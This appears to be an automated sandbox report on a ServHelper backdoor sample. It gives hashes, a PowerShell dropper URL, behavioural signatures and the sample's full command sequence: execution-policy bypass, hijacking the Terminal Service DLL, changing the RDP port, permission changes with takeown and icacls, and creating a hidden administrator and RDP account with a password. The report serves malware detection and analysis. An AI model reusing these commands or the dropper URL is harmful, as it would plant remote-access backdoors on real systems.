Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
10/04/2024, 11:32
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe
Resource
win7-20240319-en
20 signatures
150 seconds
Behavioral task
behavioral2
Sample
64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe
Resource
win10v2004-20240226-en
22 signatures
150 seconds
General
- Target 64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe
- Size 6.7MB
- Sample240410-nnb8paea79
- SHA256 64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07
- MD5 185a05aefc21ed3f07716a01871e2c5a
- SHA1 2e706b6810c21605fbb4b6c32dbdb1e5c1c28f0a
- SHA512 458307a3b8f9ecd0bcae80582051835f5b263690d28bc85d4b228b1de7a3cb8146af9e7c139201146a1585a0d11531ef8a4534d00e1517406d8b19ecd835a7d9
- SSDEEP 98304:Wrbq9XeGw2WuPDwTTOzAElMLmZ7oo8kTApKGaRqc4O1XujlqHRARZ:WrbcZpPDsTTLmxoQT7RRq4ujlzRZ
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
- ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Blocklisted process makes network request 7 IoCs
flow pid Process 20 3572 powershell.exe 22 3572 powershell.exe 25 3572 powershell.exe 27 3572 powershell.exe 29 3572 powershell.exe 34 3572 powershell.exe 36 3572 powershell.exe - Modifies RDP port number used by Windows 1 TTPs
- Possible privilege escalation attempt 8 IoCs
pid Process 4524 icacls.exe 2980 icacls.exe 3520 icacls.exe 3896 icacls.exe 1568 takeown.exe 3960 icacls.exe 4300 icacls.exe 4404 icacls.exe - Sets DLL path for service in the registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png" reg.exe - Loads dropped DLL 2 IoCs
pid Process 4332 Process not Found 4332 Process not Found - Modifies file permissions 1 TTPs 8 IoCs
pid Process 4300 icacls.exe 4404 icacls.exe 4524 icacls.exe 2980 icacls.exe 3520 icacls.exe 3896 icacls.exe 1568 takeown.exe 3960 icacls.exe -
resource yara_rule behavioral2/files/0x0008000000023228-97.dat upx behavioral2/files/0x0008000000023229-98.dat upx - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 19 raw.githubusercontent.com 20 raw.githubusercontent.com - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe - Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe - Drops file in Windows directory 18 IoCs
description ioc Process File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_l3gyfbm3.luh.psm1 powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\shellbrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI7C57.tmp powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI7C58.tmp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI7C35.tmp powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI7C46.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_hietxtql.cxj.ps1 powershell.exe File created C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI7C45.tmp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1520 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent," powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = c018bb440969da01 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4872 reg.exe - Runs net.exe
- Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc stream HTTP User-Agent header 22 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 25 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) 1 - Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 2148 powershell.exe 2148 powershell.exe 216 powershell.exe 216 powershell.exe 2716 powershell.exe 2716 powershell.exe 2704 powershell.exe 2704 powershell.exe 2148 powershell.exe 2148 powershell.exe 2148 powershell.exe 2148 powershell.exe 3572 powershell.exe 3572 powershell.exe 3572 powershell.exe - Suspicious behavior: LoadsDriver 2 IoCs
pid Process 668 Process not Found 668 Process not Found - Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 2148 powershell.exe Token: SeDebugPrivilege 216 powershell.exe Token: SeDebugPrivilege 2716 powershell.exe Token: SeDebugPrivilege 2704 powershell.exe Token: SeRestorePrivilege 4300 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1520 WMIC.exe Token: SeIncreaseQuotaPrivilege 1520 WMIC.exe Token: SeAuditPrivilege 1520 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1520 WMIC.exe Token: SeIncreaseQuotaPrivilege 1520 WMIC.exe Token: SeAuditPrivilege 1520 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 4252 WMIC.exe Token: SeIncreaseQuotaPrivilege 4252 WMIC.exe Token: SeAuditPrivilege 4252 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 4252 WMIC.exe Token: SeIncreaseQuotaPrivilege 4252 WMIC.exe Token: SeAuditPrivilege 4252 WMIC.exe Token: SeDebugPrivilege 3572 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2044 wrote to memory of 2148 2044 64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe 95 PID 2044 wrote to memory of 2148 2044 64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe 95 PID 2148 wrote to memory of 4668 2148 powershell.exe 97 PID 2148 wrote to memory of 4668 2148 powershell.exe 97 PID 4668 wrote to memory of 2384 4668 csc.exe 98 PID 4668 wrote to memory of 2384 4668 csc.exe 98 PID 2148 wrote to memory of 216 2148 powershell.exe 99 PID 2148 wrote to memory of 216 2148 powershell.exe 99 PID 2148 wrote to memory of 2716 2148 powershell.exe 102 PID 2148 wrote to memory of 2716 2148 powershell.exe 102 PID 2148 wrote to memory of 2704 2148 powershell.exe 104 PID 2148 wrote to memory of 2704 2148 powershell.exe 104 PID 2148 wrote to memory of 1568 2148 powershell.exe 108 PID 2148 wrote to memory of 1568 2148 powershell.exe 108 PID 2148 wrote to memory of 3960 2148 powershell.exe 109 PID 2148 wrote to memory of 3960 2148 powershell.exe 109 PID 2148 wrote to memory of 4300 2148 powershell.exe 110 PID 2148 wrote to memory of 4300 2148 powershell.exe 110 PID 2148 wrote to memory of 4404 2148 powershell.exe 111 PID 2148 wrote to memory of 4404 2148 powershell.exe 111 PID 2148 wrote to memory of 4524 2148 powershell.exe 112 PID 2148 wrote to memory of 4524 2148 powershell.exe 112 PID 2148 wrote to memory of 2980 2148 powershell.exe 113 PID 2148 wrote to memory of 2980 2148 powershell.exe 113 PID 2148 wrote to memory of 3520 2148 powershell.exe 114 PID 2148 wrote to memory of 3520 2148 powershell.exe 114 PID 2148 wrote to memory of 3896 2148 powershell.exe 115 PID 2148 wrote to memory of 3896 2148 powershell.exe 115 PID 2148 wrote to memory of 212 2148 powershell.exe 116 PID 2148 wrote to memory of 212 2148 powershell.exe 116 PID 2148 wrote to memory of 4872 2148 powershell.exe 117 PID 2148 wrote to memory of 4872 2148 powershell.exe 117 PID 2148 wrote to memory of 944 2148 powershell.exe 118 PID 2148 wrote to memory of 944 2148 powershell.exe 118 PID 2148 wrote to memory of 3988 2148 powershell.exe 119 PID 2148 wrote to memory of 3988 2148 powershell.exe 119 PID 3988 wrote to memory of 1768 3988 net.exe 120 PID 3988 wrote to memory of 1768 3988 net.exe 120 PID 2148 wrote to memory of 4484 2148 powershell.exe 121 PID 2148 wrote to memory of 4484 2148 powershell.exe 121 PID 4484 wrote to memory of 2948 4484 cmd.exe 122 PID 4484 wrote to memory of 2948 4484 cmd.exe 122 PID 2948 wrote to memory of 768 2948 cmd.exe 123 PID 2948 wrote to memory of 768 2948 cmd.exe 123 PID 768 wrote to memory of 3068 768 net.exe 124 PID 768 wrote to memory of 3068 768 net.exe 124 PID 2148 wrote to memory of 2004 2148 powershell.exe 125 PID 2148 wrote to memory of 2004 2148 powershell.exe 125 PID 2004 wrote to memory of 4584 2004 cmd.exe 126 PID 2004 wrote to memory of 4584 2004 cmd.exe 126 PID 4584 wrote to memory of 4672 4584 cmd.exe 127 PID 4584 wrote to memory of 4672 4584 cmd.exe 127 PID 4672 wrote to memory of 1512 4672 net.exe 128 PID 4672 wrote to memory of 1512 4672 net.exe 128 PID 4784 wrote to memory of 4600 4784 cmd.exe 132 PID 4784 wrote to memory of 4600 4784 cmd.exe 132 PID 4600 wrote to memory of 1780 4600 net.exe 133 PID 4600 wrote to memory of 1780 4600 net.exe 133 PID 4072 wrote to memory of 4280 4072 cmd.exe 136 PID 4072 wrote to memory of 4280 4072 cmd.exe 136 PID 4280 wrote to memory of 1628 4280 net.exe 137 PID 4280 wrote to memory of 1628 4280 net.exe 137 PID 4492 wrote to memory of 2968 4492 cmd.exe 140 PID 4492 wrote to memory of 2968 4492 cmd.exe 140
Processes
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C:\Users\Admin\AppData\Local\Temp\64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe"C:\Users\Admin\AppData\Local\Temp\64cb280711db0137dc6da7f2cd71745f94ada56d890c6326f07f1b36eee36e07.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2148 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c5obhduy\c5obhduy.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES536F.tmp" "c:\Users\Admin\AppData\Local\Temp\c5obhduy\CSCFC857B07A8724AC69C3C7D7FF73CB096.TMP"4⤵PID:2384
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:216
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2716
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2704
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1568
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3960
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4300
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4404
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4524
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2980
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3520
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3896
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:212
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Sets DLL path for service in the registry
- Modifies registry key
PID:4872
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:944
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1768
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:4484 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:2948 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:768 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:3068
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:4584 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:4672 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1512
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:4644
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1992
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Ghasar4f5 /del1⤵
- Suspicious use of WriteProcessMemory
PID:4784 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc Ghasar4f5 /del2⤵
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del3⤵PID:1780
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc WVIUShGM /add1⤵
- Suspicious use of WriteProcessMemory
PID:4072 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc WVIUShGM /add2⤵
- Suspicious use of WriteProcessMemory
PID:4280 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc WVIUShGM /add3⤵PID:1628
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:4492 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:2968
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1404
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" JKRSODLE$ /ADD1⤵PID:3756
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" JKRSODLE$ /ADD2⤵PID:1452
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JKRSODLE$ /ADD3⤵PID:3412
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:4744
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:548
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:5116
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc WVIUShGM1⤵PID:4724
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc WVIUShGM2⤵PID:2932
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc WVIUShGM3⤵PID:2784
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:2896
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:1520
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:432
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4252
